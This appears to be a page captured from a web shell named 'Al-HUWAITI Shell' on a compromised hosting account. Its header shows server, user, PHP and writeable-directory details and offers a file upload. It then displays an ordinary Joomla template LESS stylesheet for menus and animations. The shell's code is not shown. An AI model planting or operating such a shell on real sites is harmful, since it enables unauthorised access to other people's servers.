Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : eventfrsgx ( 61451)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/e/v/e/eventfrsgx/www/templates/shaper_revibe/less/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/e/v/e/eventfrsgx/www/templates/shaper_revibe/less/menu.less
/**
 * @package Helix V3 Framework
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2015 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */

/*=========================================
 *======= 	 Megamenu	   ============
 *=======================================*/
 .sp-megamenu-parent {
 	list-style: none;
 	padding: 0;
 	margin: 0;
 	z-index: 9;
 	display: block;
 	float: right;
 	>li {
 		display: inline-block;
 		position: relative;
 		padding: 0;

 		&.menu-justify {
 			position: static;
 		}

 		>a {
 			display: inline-block;
 			padding: 0 15px;
 			line-height: 60px;
 			font-size: 16px;
 			font-weight: 700;
 			text-transform: capitalize;
 			color: #000;
 			position: relative;
 			&:before {
 				content: "";
 				position: absolute;
 				bottom: 15px;
 				width: 0;
 				height: 2px;
 				.transition(.3s);
 			}
 		}

 		&.sp-has-child>a:after{
 			font-family: "FontAwesome";
 			content: " \f107";
 		}


 		&.active>a,
 		&:hover>a {
 			&:before{
 				width: 25%;
 			}
 		}

 	}

 	.sp-module {
 		padding: 10px;
 	}

 	.sp-mega-group {
 		list-style: none;
 		padding: 0;
 		margin: 0;

 		.sp-mega-group-child {
 			list-style: none;
 			padding: 0;
 			margin: 0;
 		}
 	}

 	.sp-dropdown {
 		margin: 0;
 		position: absolute;
 		z-index: 10;
 		display: none;

 		.sp-dropdown-inner {
 			background-color: fade(#fff, 96%);
 			box-shadow: 0 3px 5px rgba(0,0,0,0.2);
 			padding: 15px;
 			>.row [class*="col-sm-"]{
 				border-right: 1px solid rgba(0,0,0,0.07);
 				&:last-child{
 					border-right: none;
 				}
 			}
 		}

 		.sp-dropdown-items {
 			list-style: none;
 			padding: 0;
 			margin: 0;

 			.sp-has-child>a:after{
 				font-family: "FontAwesome";
 				content: " \f105";
 				float: right;
 			}
 		}

 		&.sp-menu-center {
 			margin-left: 45px;
 		}

 		&.sp-dropdown-main {
 			top: 100%;
 			z-index: 15;
 			&.sp-menu-right,
 			&.sp-menu-full {
 				left: 0;
 			}

 			&.sp-menu-left {
 				right: 0;
 			}
 		}

 		&.sp-dropdown-sub {
 			top: 0;
 			left: 100%;
 			.sp-dropdown-inner {
 				box-shadow: 0 0 5px rgba(0, 0, 0, 0.2);
 			}
 		}

		//List Item
		li.sp-menu-item { //child sub
			display: block;
			padding: 0;
			position: relative;
			border-bottom: 1px solid rgba(0, 0, 0, 0.05);
			&:last-child{border-bottom: none;}
			>a {
				display: block;
				padding: 10px 20px;
				color: #5f5f5f;
				cursor: pointer;
				font-size: 14px;
				letter-spacing: .5px;

				&.sp-group-title {
					color: #2e2e2e;
					text-transform: uppercase;
					font-weight: bold;
				}

				&:not(.sp-group-title):hover {
					color: #2e2e2e;
					background: fade(#000, 10%);
				}
			}
			&.active>a:not(.sp-group-title) {
				color: #2e2e2e;
				background: fade(#000, 10%);
			}

		}
	}

	.sp-dropdown-mega {
		>.row {
			margin-top: 30px;
			&:first-child {
				margin-top: 0;
			}
		}
	}

	//Has Child
	.sp-has-child {
		&:hover {
			>.sp-dropdown {
				display: block;
			}
		}
	}

	//Fade Animation
	&.menu-fade {
		.sp-has-child:hover {
			>.sp-dropdown {
				-webkit-animation: spMenuFadeIn 400ms;
				animation: spMenuFadeIn 400ms;
			}
		}
	}

	//Zoom Animation
	&.menu-zoom {
		.sp-has-child:hover {
			>.sp-dropdown {
				-webkit-animation: spMenuFadeInDown 400ms;
				animation: spMenuFadeInDown 400ms;
			}
		}
	}

	//Fade in up Animation
	&.menu-fade-up {
		.sp-has-child:hover {
			>.sp-dropdown {
				-webkit-animation: spMenuFadeInUp 400ms;
				animation: spMenuFadeInUp 400ms;
			}
		}
	}
}


/*=========================================
 *======= 	Off Canvas   ============
 *=======================================*/

 #offcanvas-toggler {
 	float: right;
 	line-height: 60px;	
 	>i {
 		display: inline-block;
 		padding: 0 0 0 10px;
 		font-size: 18px;
 		background: transparent;
 		border-radius: 3px;
 		cursor: pointer;
 		.transition(~'color 400ms, background-color 400ms');
 		&:hover {
 			color: #fff;
 		}
 	}
 }

 .offcanvas-overlay {
 	opacity: 0;
 	-webkit-transition: all .4s;
 	transition: all .4s;
 }

 body.offcanvas {
 	.offcanvas-overlay {
 		position: absolute;
 		top: 0;
 		left: 0;
 		bottom: 0;
 		right: 0;
 		background: rgba(0, 0, 0, 0.8);
 		opacity: 1;
 		z-index: 9999;
 	}
 	.body-innerwrapper{
 		right: 320px;
 	}
 }


 .close-offcanvas {
 	position: absolute;
 	top: 15px;
 	right: 15px;
 	z-index: 1;
 	color: #fff;
 	border-radius: 100%;
 	width: 22px;
 	height: 22px;
 	line-height: 22px;
 	text-align: center;
 	font-size: 12px;
 	background: rgba(0, 0, 0, .3);

 	&:hover {
 		background: rgba(0, 0, 0, .5);
 		color:#fff;
 	}
 }

 .offcanvas-menu {
 	width:  320px;
 	height: 100%;
 	color: #5f5f5f;
 	background-color: rgba(255,255,255,0.96);
 	position: fixed;
 	top: 0;
 	opacity: 0;
 	z-index: 99999;
 	overflow-y: scroll;

 	.offcanvas-inner {
 		padding: 20px;
 		.sp-module {
 			margin-top: 20px;

 			.sp-module-title {
 				font-size: 16px;
 				line-height: 1;
 				text-transform: uppercase;
 			}

 			ul {
 				> li{
 					border: 0;
 					position: relative;
 					border-bottom: 1px solid rgba(0, 0, 0, 0.1);
 					a {
 						.transition(300ms);
 						padding:10px 20px;
 						font-size: 14px;
 						text-transform: uppercase;
 						color: #5f5f5f;
 						font-weight: 500;
 						line-height: 28px;
 						&:before{
 							display: none;
 						}
 					}
 					&:hover, &.active{
 						>a{
 							background: rgba(0,0,0,0.15);
 							color: #2e2e2e;
 						}
 					}

 					.offcanvas-menu-toggler {
 						display: inline-block;
 						position: absolute;
 						top: 0;
 						right: 0;
 						padding:13px 20px;
 						cursor: pointer;
 						color: #5f5f5f;
 						.fa-plus {
 							display: none;
 						}

 						.fa-minus {
 							display: inline;
 						}

 						&.collapsed {
 							.fa-plus {
 								display: inline;
 							}
 							.fa-minus {
 								display: none;
 							}
 						}
 					}

 					>a:after  {
 						display: none;
 					}

 					ul {
 						background: rgba(0,0,0,0.02);
 						>li > a{padding-left: 30px;}
 					}
 				}
 			}

 			&:first-child {
 				margin-top: 0;
 			}			
 		}	
 		.sp-module .sp-module-content > ul {
 			margin:0 -20px;
 		}
 		.search {
 			margin-top: 25px;
 			input {
 				width: 100%;
 				border-radius: 0;
 				border: 0; 
 				box-shadow: none;
 				-webkit-box-shadow: none;
 				border: 1px solid #999;
 			}
 		}
 	}
 }

 .ltr {

 	.offcanvas-menu {
 		.transition(.4s);
 	}

 	.body-innerwrapper:after {
 		right: 0;
 	}

 	.offcanvas-menu {
 		right: -340px;
 	}

 	&.offcanvas {
 		.offcanvas-menu {
 			right: 0;
 		}
 	}
 }

 .offcanvas {
 	width: 100%;
 	height: 100%;
 	position: relative;

 	.body-innerwrapper:after {
 		width: 100%;
 		height: 100%;
 		opacity: 1;
 		-webkit-transition: opacity 0.5s;
 		transition: opacity 0.5s;
 	}

 	.offcanvas-menu {
 		opacity: 1;

 		ul.nav-child li {
 			padding-left: 10px;
 		}
 	}
 }

 .menu .nav-child.small {
 	font-size: inherit;
 }


/*=========================================
 *======= 	Menu Animation   ============
 *=======================================*/
 @-webkit-keyframes spMenuFadeIn {
 	0% {
 		opacity: 0;
 	}

 	100% {
 		opacity: 1;
 	}
 }

 @keyframes spMenuFadeIn {
 	0% {
 		opacity: 0;
 	}

 	100% {
 		opacity: 1;
 	}
 }

 @-webkit-keyframes spMenuZoom {
 	0% {
 		opacity: 0;
 		-webkit-transform: scale(.8);
 	}

 	100% {
 		opacity: 1;
 		-webkit-transform: scale(1);
 	}
 }

 @keyframes spMenuZoom {
 	0% {
 		opacity: 0;
 		transform: scale(.8);
 		-webkit-transform: scale(.8);
 	}

 	100% {
 		opacity: 1;
 		transform: scale(1);
 		-webkit-transform: scale(1);
 	}
 }

 @-webkit-keyframes spMenuFadeInUp {
 	0% {
 		opacity: 0;
 		-webkit-transform: translate3d(0, 30px, 0);
 	}

 	100% {
 		opacity: 1;
 		-webkit-transform: none;
 	}
 }

 @keyframes spMenuFadeInUp {
 	0% {
 		opacity: 0;
 		transform: translate3d(0, 30px, 0);
 	}

 	100% {
 		opacity: 1;
 		transform: none;
 	}
 }


// fadeindown
@-webkit-keyframes spMenuFadeInDown { 
	0% { 
		opacity: 0; 
		-webkit-transform: translateY(-20px); 
	} 
	100% { 
		opacity: 1; 
		-webkit-transform: translateY(0); 
	} 
} 

@keyframes spMenuFadeInDown { 
	0% { 
		opacity: 0; 
		transform: translateY(-20px); 
	} 
	100% { 
		opacity: 1; 
		transform: translateY(0); 
	} 
} 


Al-HUWAITI Shell